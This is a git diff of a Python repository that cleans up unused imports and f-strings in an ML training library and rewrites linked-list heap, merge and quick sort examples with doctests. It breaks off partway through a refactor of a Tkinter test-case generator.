e1daa2530e8..97b97ad194e 100644 --- a/ML/examples/train_cifar10.py +++ b/ML/examples/train_cifar10.py @@ -25,7 +25,7 @@ def main(): config.model_name = "resnet18_cifar10" config.device = "cuda" if torch.cuda.is_available() else "cpu" - print(f"Downloading CIFAR-10 dataset...") + print("Downloading CIFAR-10 dataset...") train_dataset = get_dataset("cifar10", root="./data", train=True, download=True) val_dataset = get_dataset("cifar10", root="./data", train=False, download=True) @@ -56,11 +56,11 @@ def main(): print("Starting training...") trainer.train() - print(f"\nTraining completed!") + print("\nTraining completed!") print(f"Best validation loss: {trainer.best_val_loss:.4f}") - print(f"Model saved to: ./models/best_model.pt") - print(f"\nTest the model:") - print(f" python tests/test_model.py --dataset cifar10 --mode interactive") + print("Model saved to: ./models/best_model.pt") + print("\nTest the model:") + print(" python tests/test_model.py --dataset cifar10 --mode interactive") if __name__ == "__main__": diff --git a/ML/examples/train_custom.py b/ML/examples/train_custom.py index a3beb7d59b6..e2db1a376a5 100644 --- a/ML/examples/train_custom.py +++ b/ML/examples/train_custom.py @@ -2,7 +2,6 @@ sys.path.insert(0, ".") -import torch import torch.nn as nn from src.python.neuralforge import Trainer, Config from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder diff --git a/ML/src/python/neuralforge/cli/gui.py b/ML/src/python/neuralforge/cli/gui.py index 8cbc482a6c7..aece7e66f1f 100644 --- a/ML/src/python/neuralforge/cli/gui.py +++ b/ML/src/python/neuralforge/cli/gui.py @@ -461,7 +461,7 @@ def load_model(self): self.classes = get_class_names(self.dataset_name) - self.model_status.setText(f"✓ Model loaded successfully") + self.model_status.setText("✓ Model loaded successfully") self.model_status.setStyleSheet("color: #4CAF50;") self.predict_btn.setEnabled(True) diff --git a/ML/src/python/neuralforge/cli/nas.py b/ML/src/python/neuralforge/cli/nas.py index 0257558783c..e10fa67c169 100644 --- a/ML/src/python/neuralforge/cli/nas.py +++ b/ML/src/python/neuralforge/cli/nas.py @@ -3,7 +3,6 @@ from neuralforge.nas.search_space import SearchSpace from neuralforge.nas.evolution import EvolutionarySearch from neuralforge.nas.evaluator import ProxyEvaluator -from neuralforge.data.datasets import get_dataset from neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder from neuralforge.config import Config @@ -66,7 +65,7 @@ def main(): print("Starting Neural Architecture Search...") best_architecture = evolution.search() - print(f"\nBest Architecture Found:") + print("\nBest Architecture Found:") print(f"Fitness: {best_architecture.fitness:.4f}") print(f"Accuracy: {best_architecture.accuracy:.2f}%") print(f"Parameters: {best_architecture.params:,}") diff --git a/ML/src/python/neuralforge/cli/train.py b/ML/src/python/neuralforge/cli/train.py index 4c4a2c733b6..cff8e39c1b7 100644 --- a/ML/src/python/neuralforge/cli/train.py +++ b/ML/src/python/neuralforge/cli/train.py @@ -1,5 +1,4 @@ import argparse -import sys import torch import torch.nn as nn import random diff --git a/ML/src/python/neuralforge/config.py b/ML/src/python/neuralforge/config.py index 963915eae74..d495adf3746 100644 --- a/ML/src/python/neuralforge/config.py +++ b/ML/src/python/neuralforge/config.py @@ -1,6 +1,5 @@ import json import os -from typing import Any, Dict, Optional from dataclasses import dataclass, asdict diff --git a/ML/src/python/neuralforge/data/augmentation.py b/ML/src/python/neuralforge/data/augmentation.py index 1438d312f11..d48897dd4f6 100644 --- a/ML/src/python/neuralforge/data/augmentation.py +++ b/ML/src/python/neuralforge/data/augmentation.py @@ -2,7 +2,6 @@ import random import numpy as np from PIL import Image, ImageEnhance, ImageOps -from typing import List, Tuple class RandAugment: diff --git a/ML/src/python/neuralforge/data/dataset.py b/ML/src/python/neuralforge/data/dataset.py index c958a15936a..c3f472664af 100644 --- a/ML/src/python/neuralforge/data/dataset.py +++ b/ML/src/python/neuralforge/data/dataset.py @@ -1,6 +1,6 @@ import torch from torch.utils.data import Dataset, DataLoader -from torchvision import datasets, transforms +from torchvision import transforms from PIL import Image import os from typing import Optional, Callable, Tuple, List diff --git a/ML/src/python/neuralforge/data/datasets.py b/ML/src/python/neuralforge/data/datasets.py index 6066c7142f3..6bd6bfbe391 100644 --- a/ML/src/python/neuralforge/data/datasets.py +++ b/ML/src/python/neuralforge/data/datasets.py @@ -1,8 +1,5 @@ -import torch -from torch.utils.data import Dataset from torchvision import datasets, transforms import os -from typing import Optional, Callable class CIFAR10Dataset: diff --git a/ML/src/python/neuralforge/data/transforms.py b/ML/src/python/neuralforge/data/transforms.py index 13d605ff699..08a8d1bb0ad 100644 --- a/ML/src/python/neuralforge/data/transforms.py +++ b/ML/src/python/neuralforge/data/transforms.py @@ -1,6 +1,6 @@ from torchvision import transforms import torch -from typing import List, Tuple +from typing import Tuple def get_transforms( diff --git a/ML/src/python/neuralforge/models/resnet.py b/ML/src/python/neuralforge/models/resnet.py index 0b154d2bcab..aa429c84f83 100644 --- a/ML/src/python/neuralforge/models/resnet.py +++ b/ML/src/python/neuralforge/models/resnet.py @@ -1,4 +1,3 @@ -import torch.nn as nn from ..nn.convolution import ResNetBlock diff --git a/ML/src/python/neuralforge/models/vit.py b/ML/src/python/neuralforge/models/vit.py index ac353f2e97d..f4e912408b6 100644 --- a/ML/src/python/neuralforge/models/vit.py +++ b/ML/src/python/neuralforge/models/vit.py @@ -1,4 +1,3 @@ -import torch.nn as nn from ..nn.attention import VisionTransformerBlock diff --git a/ML/src/python/neuralforge/nas/evaluator.py b/ML/src/python/neuralforge/nas/evaluator.py index c60f279d5c7..71d09ca1ed9 100644 --- a/ML/src/python/neuralforge/nas/evaluator.py +++ b/ML/src/python/neuralforge/nas/evaluator.py @@ -1,7 +1,6 @@ import torch import torch.nn as nn -from torch.utils.data import DataLoader, Subset -import time +from torch.utils.data import DataLoader from typing import Tuple from .search_space import SearchSpace, Architecture diff --git a/ML/src/python/neuralforge/nas/evolution.py b/ML/src/python/neuralforge/nas/evolution.py index 694995fecad..ee97207a3f2 100644 --- a/ML/src/python/neuralforge/nas/evolution.py +++ b/ML/src/python/neuralforge/nas/evolution.py @@ -1,7 +1,6 @@ -import torch import random import numpy as np -from typing import List, Dict, Any +from typing import List from tqdm import tqdm from .search_space import SearchSpace, Architecture from .evaluator import ModelEvaluator diff --git a/ML/src/python/neuralforge/nas/search_space.py b/ML/src/python/neuralforge/nas/search_space.py index c00f30fb672..f9e977a4d78 100644 --- a/ML/src/python/neuralforge/nas/search_space.py +++ b/ML/src/python/neuralforge/nas/search_space.py @@ -1,8 +1,6 @@ -import torch import torch.nn as nn -from typing import List, Dict, Any, Optional +from typing import List, Dict, Any import random -import numpy as np class Architecture: diff --git a/ML/src/python/neuralforge/nn/attention.py b/ML/src/python/neuralforge/nn/attention.py index d2a70ebb65c..19c2d2d4070 100644 --- a/ML/src/python/neuralforge/nn/attention.py +++ b/ML/src/python/neuralforge/nn/attention.py @@ -1,8 +1,6 @@ import torch import torch.nn as nn import torch.nn.functional as F -import math -from typing import Optional class MultiHeadAttention(nn.Module): diff --git a/ML/src/python/neuralforge/nn/convolution.py b/ML/src/python/neuralforge/nn/convolution.py index e81ce36a50f..2807945c193 100644 --- a/ML/src/python/neuralforge/nn/convolution.py +++ b/ML/src/python/neuralforge/nn/convolution.py @@ -1,7 +1,6 @@ import torch import torch.nn as nn import torch.nn.functional as F -from typing import List, Optional class ResNetBlock(nn.Module): diff --git a/ML/src/python/neuralforge/nn/layers.py b/ML/src/python/neuralforge/nn/layers.py index 1b3420a40f7..367ec3efb4c 100644 --- a/ML/src/python/neuralforge/nn/layers.py +++ b/ML/src/python/neuralforge/nn/layers.py @@ -1,7 +1,5 @@ import torch import torch.nn as nn -import torch.nn.functional as F -from typing import Optional class ConvBlock(nn.Module): diff --git a/ML/src/python/neuralforge/nn/modules.py b/ML/src/python/neuralforge/nn/modules.py index ccb5716a447..b61401bc955 100644 --- a/ML/src/python/neuralforge/nn/modules.py +++ b/ML/src/python/neuralforge/nn/modules.py @@ -1,7 +1,6 @@ import torch import torch.nn as nn import torch.nn.functional as F -from typing import Optional, Tuple import math diff --git a/ML/src/python/neuralforge/optim/schedulers.py b/ML/src/python/neuralforge/optim/schedulers.py index bbb0787d5c3..a55a7281cc0 100644 --- a/ML/src/python/neuralforge/optim/schedulers.py +++ b/ML/src/python/neuralforge/optim/schedulers.py @@ -1,4 +1,3 @@ -import torch from torch.optim.lr_scheduler import _LRScheduler import math diff --git a/ML/src/python/neuralforge/trainer.py b/ML/src/python/neuralforge/trainer.py index a45fbaabd05..48b796c3f3b 100644 --- a/ML/src/python/neuralforge/trainer.py +++ b/ML/src/python/neuralforge/trainer.py @@ -2,7 +2,7 @@ import torch.nn as nn import torch.amp as amp from torch.utils.data import DataLoader -from typing import Optional, Dict, Any, Callable +from typing import Optional, Dict, Any import time import os from tqdm import tqdm diff --git a/ML/tests/gui_test.py b/ML/tests/gui_test.py index 8dc0411dbf7..fa6bec01a23 100644 --- a/ML/tests/gui_test.py +++ b/ML/tests/gui_test.py @@ -16,7 +16,6 @@ QProgressBar, QTextEdit, QGroupBox, - QGridLayout, ) from PyQt6.QtCore import Qt, QThread, pyqtSignal from PyQt6.QtGui import QPixmap, QFont @@ -448,7 +447,7 @@ def load_model(self): self.classes = get_class_names(self.dataset_name) - self.model_status.setText(f"✓ Model loaded successfully") + self.model_status.setText("✓ Model loaded successfully") self.model_status.setStyleSheet("color: #4CAF50;") self.predict_btn.setEnabled(True) diff --git a/ML/tests/test_model.py b/ML/tests/test_model.py index 2b07f77a146..50ef56d0565 100644 --- a/ML/tests/test_model.py +++ b/ML/tests/test_model.py @@ -106,7 +106,7 @@ def test_random_samples(self, num_samples=10): ) if not is_correct: - print(f" Top-5: ", end="") + print(" Top-5: ", end="") for j, (idx, prob) in enumerate(zip(top5_idx, top5_prob)): print(f"{self.classes[idx]}({prob:.1%})", end=" ") print() diff --git a/ML/train.py b/ML/train.py index 1ca64a743d4..c360dc0522d 100644 --- a/ML/train.py +++ b/ML/train.py @@ -6,13 +6,11 @@ import random import numpy as np -from src.python.neuralforge import nn as nf_nn from src.python.neuralforge import optim as nf_optim from src.python.neuralforge.trainer import Trainer from src.python.neuralforge.config import Config from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder from src.python.neuralforge.data.datasets import get_dataset, get_num_classes -from src.python.neuralforge.data.transforms import get_transforms from src.python.neuralforge.models.resnet import ResNet18 from src.python.neuralforge.utils.logger import Logger diff --git a/Recursion Visulaizer/git b/Recursion Visulaizer/git deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/Sorting Algorithims/heapsort_linkedlist.py b/Sorting Algorithims/heapsort_linkedlist.py index 9f535d20ade..690263b1d03 100644 --- a/Sorting Algorithims/heapsort_linkedlist.py +++ b/Sorting Algorithims/heapsort_linkedlist.py @@ -1,84 +1,201 @@ +""" +Heap Sort on a Singly Linked List (Educational Implementation) +============================================================== + +Algorithm Steps: +1. Count the number of nodes (n). +2. Build a max‑heap starting from the last internal node (n//2 - 1) up to the root. +3. Repeatedly swap the root (maximum) with the last unsorted node, then restore the heap property on the reduced heap. + +Time Complexity: O(n log n) comparisons, but accessing a node by index costs O(n), + making the overall complexity O(n²) for this linked‑list version. +Space Complexity: O(log n) due to recursion stack (or O(1) if implemented iteratively). +Stability: Not stable. +""" + +from __future__ import annotations +from typing import Optional, Iterable, List, Iterator + + class Node: - def __init__(self, data): - self.data = data - self.next = None + """Singly linked list node.""" + def __init__(self, data: int) -> None: + self.data: int = data + self.next: Optional[Node] = None -class LinkedList: - def __init__(self): - self.head = None - def push(self, data): +class LinkedList: + """Singly linked list with heap‑sort capability.""" + + def __init__(self, iterable: Optional[Iterable[int]] = None) -> None: + """Create a linked list, optionally from an iterable.""" + self.head: Optional[Node] = None + if iterable is not None: + for value in reversed(list(iterable)): # maintain original order + self.push(value) + + # ---------- Basic list operations ---------- + def push(self, data: int) -> None: + """Insert a new node at the head.""" new_node = Node(data) new_node.next = self.head self.head = new_node - def print_list(self): - current = self.head - while current: - print(current.data, end=" -> ") - current = current.next + def append(self, data: int) -> None: + """Insert a new node at the tail.""" + if not self.head: + self.head = Node(data) + return + cur = self.head + while cur.next: + cur = cur.next + cur.next = Node(data) + + def to_list(self) -> List[int]: + """Convert the linked list to a Python list.""" + result: List[int] = [] + cur = self.head + while cur: + result.append(cur.data) + cur = cur.next + return result + + @classmethod + def from_list(cls, lst: List[int]) -> LinkedList: + """Build a linked list from a Python list (preserving order).""" + ll = cls() + for val in lst: + ll.append(val) + return ll + + def __len__(self) -> int: + """Return the number of nodes.""" + count = 0 + cur = self.head + while cur: + count += 1 + cur = cur.next + return count + + def __iter__(self) -> Iterator[int]: + """Iterate over node data.""" + cur = self.head + while cur: + yield cur.data + cur = cur.next + + def print_list(self) -> None: + """Print the list in a human‑readable format.""" + cur = self.head + while cur: + print(cur.data, end=" -> ") + cur = cur.next print("None") - def heapify(self, n, i): + # ---------- Heap‑sort helpers ---------- + def _get_node(self, index: int) -> Optional[Node]: + """Return the node at the given index (0‑based); return None if out of range.""" + cur = self.head + for _ in range(index): + if cur is None: + return None + cur = cur.next + return cur + + def _swap_data(self, i: int, j: int) -> None: + """Swap the data of two nodes by their indices.""" + node_i = self._get_node(i) + node_j = self._get_node(j) + if node_i is not None and node_j is not None: + node_i.data, node_j.data = node_j.data, node_i.data + + def _heapify(self, n: int, i: int) -> None: + """ + Maintain the max‑heap property for the subtree rooted at index i. + Assumes that the subtrees of i are already heaps. + n – size of the current heap (unsorted part). + """ largest = i left = 2 * i + 1 right = 2 * i + 2 - current = self.head - for _ in range(i): - current = current.next + node_i = self._get_node(i) + node_left = self._get_node(left) if left < n else None + node_right = self._get_node(right) if right < n else None - if left < n and current.data < current.next.data: + if ( + node_left is not None + and node_i is not None + and node_left.data > node_i.data + ): largest = left - if right < n and current.data < current.next.data: + node_largest = self._get_node(largest) + if ( + node_right is not None + and node_largest is not None + and node_right.data > node_largest.data + ): largest = right if largest != i: - self.swap(i, largest) - self.heapify(n, largest) - - def swap(self, i, j): - current_i = self.head - current_j = self.head - - for _ in range(i): - current_i = current_i.next - - for _ in range(j): - current_j = current_j.next - - current_i.data, current_j.data = current_j.data, current_i.data - - def heap_sort(self): - n = 0 - current = self.head - while current: - n += 1 - current = current.next - + self._swap_data(i, largest) + self._heapify(n, largest) # recursive fix + + # ---------- Public sort method ---------- + def heap_sort(self) -> None: + """ + Sort the linked list in ascending order using heap sort. + + Examples: + >>> lst = LinkedList.from_list([4, 10, 3, 5, 1]) + >>> lst.heap_sort() + >>> lst.to_list() + [1, 3, 4, 5, 10] + + >>> lst = LinkedList.from_list([]) + >>> lst.heap_sort() + >>> lst.to_list() + [] + + >>> lst = LinkedList.from_list([7]) + >>> lst.heap_sort() + >>> lst.to_list() + [7] + + >>> lst = LinkedList.from_list([2, 1]) + >>> lst.heap_sort() + >>> lst.to_list() + [1, 2] + """ + n = len(self) + if n <= 1: + return + + # Build max‑heap (starting from the last internal node) for i in range(n // 2 - 1, -1, -1): - self.heapify(n, i) + self._heapify(n, i) + # One by one extract the maximum and place at the end for i in range(n - 1, 0, -1): - self.swap(0, i) - self.heapify(i, 0) - - -# Example usage: -linked_list = LinkedList() -linked_list.push(12) -linked_list.push(11) -linked_list.push(13) -linked_list.push(5) -linked_list.push(6) -linked_list.push(7) - -print("Original Linked List:") -linked_list.print_list() - -linked_list.heap_sort() - -print("Sorted Linked List:") -linked_list.print_list() + self._swap_data(0, i) # move current max to the end + self._heapify(i, 0) # restore heap on the reduced list + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + + # Interactive example + ll = LinkedList() + print("Enter space‑separated integers to insert at the head (push):") + data = list(map(int, input().split())) + for val in data: + ll.push(val) # push reverses the order + print("Original list (head first):") + ll.print_list() + ll.heap_sort() + print("Sorted list:") + ll.print_list() diff --git a/Sorting Algorithims/mergesort_linkedlist.py b/Sorting Algorithims/mergesort_linkedlist.py index 4e833dc2e29..cc0a5fc774c 100644 --- a/Sorting Algorithims/mergesort_linkedlist.py +++ b/Sorting Algorithims/mergesort_linkedlist.py @@ -1,84 +1,192 @@ +""" +Merge Sort on a Singly Linked List (Standard Implementation) +============================================================= + +Algorithm Steps: +1. If the list is empty or has one node, it is already sorted. +2. Find the middle node using the slow/fast pointer technique. +3. Split the list into two halves. +4. Recursively sort each half. +5. Merge the two sorted halves back together. + +Time Complexity: O(n log n) +Space Complexity: O(log n) for recursion stack (in‑place node rearrangement). +Stability: Stable (equal elements retain their relative order). +""" + from __future__ import annotations +from typing import Optional, Iterable, List, Iterator class Node: + """Singly linked list node.""" + def __init__(self, data: int) -> None: - self.data = data - self.next = None + self.data: int = data + self.next: Optional[Node] = None class LinkedList: - def __init__(self): - self.head = None - - def insert(self, new_data: int) -> None: - new_node = Node(new_data) + """Singly linked list with merge‑sort capability.""" + + def __init__(self, iterable: Optional[Iterable[int]] = None) -> None: + """Create a linked list, optionally from an iterable.""" + self.head: Optional[Node] = None + if iterable is not None: + for value in iterable: + self.append(value) + + # ---------- Basic list operations ---------- + def push(self, data: int) -> None: + """Insert a new node at the head.""" + new_node = Node(data) new_node.next = self.head self.head = new_node - def printLL(self) -> None: - temp = self.head - if temp == None: - return "Linked List is empty" - while temp.next: - print(temp.data, "->", end="") - temp = temp.next - print(temp.data) - return - - -# Merge two sorted linked lists -def merge(left, right): - if not left: - return right - if not right: - return left - - if left.data < right.data: - result = left - result.next = merge(left.next, right) - else: - result = right - result.next = merge(left, right.next) - - return result - - -# Merge sort for linked list -def merge_sort(head): - if not head or not head.next: - return head - - # Find the middle of the list - slow = head - fast = head.next - while fast and fast.next: - slow = slow.next - fast = fast.next.next - - left = head - right = slow.next - slow.next = None - - left = merge_sort(left) - right = merge_sort(right) - - return merge(left, right) + def append(self, data: int) -> None: + """Insert a new node at the tail.""" + if not self.head: + self.head = Node(data) + return + cur = self.head + while cur.next: + cur = cur.next + cur.next = Node(data) + + def to_list(self) -> List[int]: + """Convert the linked list to a Python list.""" + result: List[int] = [] + cur = self.head + while cur: + result.append(cur.data) + cur = cur.next + return result + + @classmethod + def from_list(cls, lst: List[int]) -> LinkedList: + """Build a linked list from a Python list (preserving order).""" + ll = cls() + for val in lst: + ll.append(val) + return ll + + def __len__(self) -> int: + """Return the number of nodes.""" + count = 0 + cur = self.head + while cur: + count += 1 + cur = cur.next + return count + + def __iter__(self) -> Iterator[int]: + """Iterate over node data.""" + cur = self.head + while cur: + yield cur.data + cur = cur.next + + def print_list(self) -> None: + """Print the list in a human‑readable format.""" + cur = self.head + while cur: + print(cur.data, end=" -> ") + cur = cur.next + print("None") + + # ---------- Merge‑sort implementation ---------- + @staticmethod + def _merge(left: Optional[Node], right: Optional[Node]) -> Optional[Node]: + """ + Merge two sorted linked lists and return the head of the merged list. + This is a static helper that works on raw Node objects. + """ + if left is None: + return right + if right is None: + return left + + if left.data <= right.data: # stable sort: use <= to preserve order + result = left + result.next = LinkedList._merge(left.next, right) + else: + result = right + result.next = LinkedList._merge(left, right.next) + return result + + def _merge_sort(self, head: Optional[Node]) -> Optional[Node]: + """ + Recursively sort the list starting at 'head' and return the new head. + This internal method works directly on nodes. + """ + if head is None or head.next is None: + return head + + # Find the middle node using slow/fast pointers + slow = head + fast = head.next + while fast is not None and fast.next is not None: + slow = slow.next + fast = fast.next.next + + left = head + right = slow.next + slow.next = None # split the list + + # Recursively sort both halves + left = self._merge_sort(left) + right = self._merge_sort(right) + + # Merge the sorted halves + return LinkedList._merge(left, right) + + def sort(self) -> None: + """ + Sort the linked list in ascending order using merge sort. + + Examples: + >>> lst = LinkedList.from_list([4, 10, 3, 5, 1]) + >>> lst.sort() + >>> lst.to_list() + [1, 3, 4, 5, 10] + + >>> lst = LinkedList.from_list([]) + >>> lst.sort() + >>> lst.to_list() + [] + + >>> lst = LinkedList.from_list([7]) + >>> lst.sort() + >>> lst.to_list() + [7] + + >>> lst = LinkedList.from_list([2, 1]) + >>> lst.sort() + >>> lst.to_list() + [1, 2] + """ + self.head = self._merge_sort(self.head) + + +# Alias for backward compatibility with the original file +def merge_sort(head: Optional[Node]) -> Optional[Node]: + """Standalone function that sorts a list starting at 'head'.""" + return LinkedList()._merge_sort(head) if __name__ == "__main__": - ll = LinkedList() - print( - "Enter the space-separated values of numbers to be inserted in the linked list prompted below:" - ) - arr = list(map(int, input().split())) - for num in arr: - ll.insert(num) + import doctest - print("Linked list before sorting:") - ll.printLL() + doctest.testmod() - ll.head = merge_sort(ll.head) - - print("Linked list after sorting:") - ll.printLL() + # Interactive example + ll = LinkedList() + print("Enter space‑separated integers to insert at the head (push):") + data = list(map(int, input().split())) + for val in data: + ll.push(val) # push reverses the order + print("Original list (head first):") + ll.print_list() + ll.sort() + print("Sorted list:") + ll.print_list() diff --git a/Sorting Algorithims/quicksort_linkedlist.py b/Sorting Algorithims/quicksort_linkedlist.py index 70804343a98..0cfbafc4b84 100644 --- a/Sorting Algorithims/quicksort_linkedlist.py +++ b/Sorting Algorithims/quicksort_linkedlist.py @@ -1,80 +1,187 @@ """ -Given a linked list with head pointer, -sort the linked list using quicksort technique without using any extra space -Time complexity: O(NlogN), Space complexity: O(1) +Quick Sort on a Singly Linked List (In‑Place, Recursive) +========================================================= + +Algorithm Steps: +1. If the segment has 0 or 1 node, it is sorted. +2. Choose the first node's data as the pivot. +3. Partition the segment so that all elements smaller than the pivot + come before the pivot, and all greater come after. +4. Recursively sort the left part (before pivot) and the right part (after pivot). + +Time Complexity: O(n log n) average, O(n²) worst‑case (rare with random data). +Space Complexity: O(log n) recursion stack (no extra data structures). +Stability: Not stable (partition swaps elements). """ from __future__ import annotations +from typing import Optional, Iterable, List, Iterator class Node: + """Singly linked list node.""" + def __init__(self, data: int) -> None: - self.data = data - self.next = None + self.data: int = data + self.next: Optional[Node] = None class LinkedList: - def __init__(self): - self.head = None + """Singly linked list with quick‑sort capability.""" + + def __init__(self, iterable: Optional[Iterable[int]] = None) -> None: + """Create a linked list, optionally from an iterable.""" + self.head: Optional[Node] = None + if iterable is not None: + for value in iterable: + self.append(value) - # method to insert nodes at the start of linkedlist - def insert(self, new_data: int) -> None: - new_node = Node(new_data) + # ---------- Basic list operations ---------- + def push(self, data: int) -> None: + """Insert a new node at the head.""" + new_node = Node(data) new_node.next = self.head self.head = new_node - # method to print the linkedlist - def printLL(self) -> None: - temp = self.head - if temp == None: - return "Linked List is empty" - while temp.next: - print(temp.data, "->", end="") - temp = temp.next - print(temp.data) - return - - -# Partition algorithm with pivot as first element - - -def partition(start, end): - if start == None or start.next == None: - return start - prev, curr = start, start.next - pivot = prev.data - while curr != end: - if curr.data < pivot: - prev = prev.next - temp = prev.data - prev.data = curr.data - curr.data = temp - curr = curr.next - temp = prev.data - prev.data = start.data - start.data = temp - return prev - - -# recursive quicksort for function calls -def quicksort_LL(start, end): - if start != end: - pos = partition(start, end) - quicksort_LL(start, pos) - quicksort_LL(pos.next, end) - return + def append(self, data: int) -> None: + """Insert a new node at the tail.""" + if not self.head: + self.head = Node(data) + return + cur = self.head + while cur.next: + cur = cur.next + cur.next = Node(data) + + def to_list(self) -> List[int]: + """Convert the linked list to a Python list.""" + result: List[int] = [] + cur = self.head + while cur: + result.append(cur.data) + cur = cur.next + return result + + @classmethod + def from_list(cls, lst: List[int]) -> LinkedList: + """Build a linked list from a Python list (preserving order).""" + ll = cls() + for val in lst: + ll.append(val) + return ll + + def __len__(self) -> int: + """Return the number of nodes.""" + count = 0 + cur = self.head + while cur: + count += 1 + cur = cur.next + return count + + def __iter__(self) -> Iterator[int]: + """Iterate over node data.""" + cur = self.head + while cur: + yield cur.data + cur = cur.next + + def print_list(self) -> None: + """Print the list in a human‑readable format.""" + cur = self.head + while cur: + print(cur.data, end=" -> ") + cur = cur.next + print("None") + + # ---------- Quick‑sort helpers ---------- + @staticmethod + def _partition(start: Optional[Node], end: Optional[Node]) -> Optional[Node]: + """ + Partition the list segment from `start` (inclusive) to `end` (exclusive) + using `start.data` as pivot. Returns the node that contains the pivot + after partitioning (its final position). + """ + if start is None or start.next is None: + return start + + pivot = start.data + # `prev` marks the last position where an element smaller than pivot was placed + prev = start + curr = start.next + + while curr is not end: + if curr.data < pivot: + # move prev forward and swap data + prev = prev.next + prev.data, curr.data = curr.data, prev.data + curr = curr.next + + # place pivot in its correct position + start.data, prev.data = prev.data, start.data + return prev + + def _quick_sort(self, start: Optional[Node], end: Optional[Node]) -> None: + """ + Recursively sort the segment from `start` to `end` (exclusive). + """ + if start is not None and start is not end: + pivot = LinkedList._partition(start, end) + self._quick_sort(start, pivot) # left part (before pivot) + self._quick_sort(pivot.next, end) # right part (after pivot) + + def sort(self) -> None: + """ + Sort the linked list in ascending order using quick sort. + + Examples: + >>> lst = LinkedList.from_list([4, 10, 3, 5, 1]) + >>> lst.sort() + >>> lst.to_list() + [1, 3, 4, 5, 10] + + >>> lst = LinkedList.from_list([]) + >>> lst.sort() + >>> lst.to_list() + [] + + >>> lst = LinkedList.from_list([7]) + >>> lst.sort() + >>> lst.to_list() + [7] + + >>> lst = LinkedList.from_list([2, 1]) + >>> lst.sort() + >>> lst.to_list() + [1, 2] + """ + self._quick_sort(self.head, None) + + +# Standalone functions for backward compatibility +def partition(start: Optional[Node], end: Optional[Node]) -> Optional[Node]: + """Standalone partition function.""" + return LinkedList._partition(start, end) + + +def quicksort_LL(start: Optional[Node], end: Optional[Node]) -> None: + """Standalone recursive quick‑sort function.""" + LinkedList()._quick_sort(start, end) if __name__ == "__main__": + import doctest + + doctest.testmod() + + # Interactive example ll = LinkedList() - print( - "Enter the space seperated values of numbers to be inserted in linkedlist prompted below:" - ) - arr = list(map(int, input().split())) - for num in arr: - ll.insert(num) - print("Linkedlist before sorting:") - ll.printLL() - quicksort_LL(ll.head, None) - print("Linkedlist after sorting: ") - ll.printLL() + print("Enter space‑separated integers to insert at the head (push):") + data = list(map(int, input().split())) + for val in data: + ll.push(val) # push reverses the order + print("Original list (head first):") + ll.print_list() + ll.sort() + print("Sorted list:") + ll.print_list() diff --git a/Test-Case-Generator/test_case.py b/Test-Case-Generator/test_case.py index 05c9e77d60a..c27cd2a289e 100644 --- a/Test-Case-Generator/test_case.py +++ b/Test-Case-Generator/test_case.py @@ -4,23 +4,68 @@ # _________________________________________________ ### # _________________________________________________ ### -from tkinter import * -from random import randint, choices -import webbrowser import os +import webbrowser +from random import randint, choices +from tkinter import ( + Tk, + Label, + Button, + Entry, + Text, + Scrollbar, + IntVar, + StringVar, + END, + HORIZONTAL, + LEFT, + Frame, +) mycolor = "#262626" class Case: - def __init__(self, master): - gen_frame = Frame(master) - gen_frame.grid() - self.test_case_counter = None - - def home(self): + def __init__(self, master: Tk) -> None: + self.master = master + self.test_case_counter = None # kept for potential future use + self.constraints = None + # attributes created dynamically, but we keep them + self.statement = None + self.button1 = self.button2 = self.button3 = self.button4 = self.button5 = None + self.button6 = self.button7 = self.button8 = self.button9 = self.button10 = None + self.button_new = self.button_exit = self.copyright_label = None + self.output = None + self.y_scroll = self.x_scroll = None + self.copy_button = self.generate_button = self.change_values_button = None + self.done_button = self.button_exit_output = None + self.test_case_count_label = self.test_case_count = None + self.minimum_value_of_n = self.maximum_value_of_n = None + self.min_max_values_of_n_label = None + self.minimum_value_of_m = self.maximum_value_of_m = None + self.min_max_values_of_m_label = None + self.minimum_value_of_k = self.maximum_value_of_k = None + self.min_max_values_of_k_label = None + self.minimum_value_of_ai = self.maximum_value_of_ai = None + self.min_max_values_of_ai_label = None + self.minimum_value_of_bi = self.maximum_value_of_bi = None + self.min_max_values_of_bi_label = None + self.char_list_label = self.char_list = None + self.back_btn = self.sub_btn = self.exit_btn = None + # temporary variables for generation + self.t = 0 + self.n_min = self.n_max = 0 + self.m_min = self.m_max = 0 + self.k_min = self.k_max = 0 + self.a_min = self.a_max = 0 + self.b_min = self.b_max = 0 + self.char_lis = [] + self.n = self.m = self.k = 0 + self.a = self.b = [] + + def home(self) -> None: self.statement = Label( - gui, + self.master, text="Select Test Case Type", fg="white", height=1, @@ -28,137 +73,137 @@ def home(self): ) self.statement.configure(bg=mycolor) self.button1 = Button( - gui, + self.master, justify=LEFT, text="T\nn \nA1 A2 A3...An\nn \nA1 A2 A3...An", width=13, fg="white", bd=3, - command=lambda: Type1(gui), + command=lambda: Type1(self.master), bg="red", font="calibre", ) self.button1.configure(background="grey20") self.button2 = Button( - gui, + self.master, justify=LEFT, text="T\nn m \nA1 A2 A3...An\nn m\nA1 A2 A3...An", fg="white", - command=lambda: Type2(gui), + command=lambda: Type2(self.master), width=13, font="calibre", bd=3, ) self.button2.configure(background="grey20") self.button3 = Button( - gui, + self.master, justify=LEFT, text="T\nA1 B1\nA2 B2\n(t rows of)\n(A, B pair)", fg="white", - command=lambda: Type3(gui), + command=lambda: Type3(self.master), width=13, font="calibre", bd=3, ) self.button3.configure(background="grey20") self.button4 = Button( - gui, + self.master, justify=LEFT, text="T\nn m \nA1 A2...An\nB1 B2...Bm\n... ...", fg="white", - command=lambda: Type4(gui), + command=lambda: Type4(self.master), width=13, font="calibre", bd=3, ) self.button4.configure(background="grey20") self.button5 = Button( - gui, + self.master, justify=LEFT, text="T\nn m k\nn m k\n(t rows of)\n(n m k pair)", fg="white", - command=lambda: Type5(gui), + command=lambda: Type5(self.master), width=13, font="calibre", bd=3, ) self.button5.configure(background="grey20") self.button6 = Button( - gui, + self.master, justify=LEFT, text="n * m (matrix)\nA1 A2...Am\nA1 A2...Am\n__ __ ... __\n" "A1 A2...Am", fg="white", - command=lambda: Type6(gui), + command=lambda: Type6(self.master), width=13, font="calibre", bd=3, ) self.button6.configure(background="grey20") self.button7 = Button( - gui, + self.master, justify=LEFT, text="T\nn\nCustom string\n(ex: 0 1)\n(ex: + / -)", fg="white", - command=lambda: Type7(gui), + command=lambda: Type7(self.master), 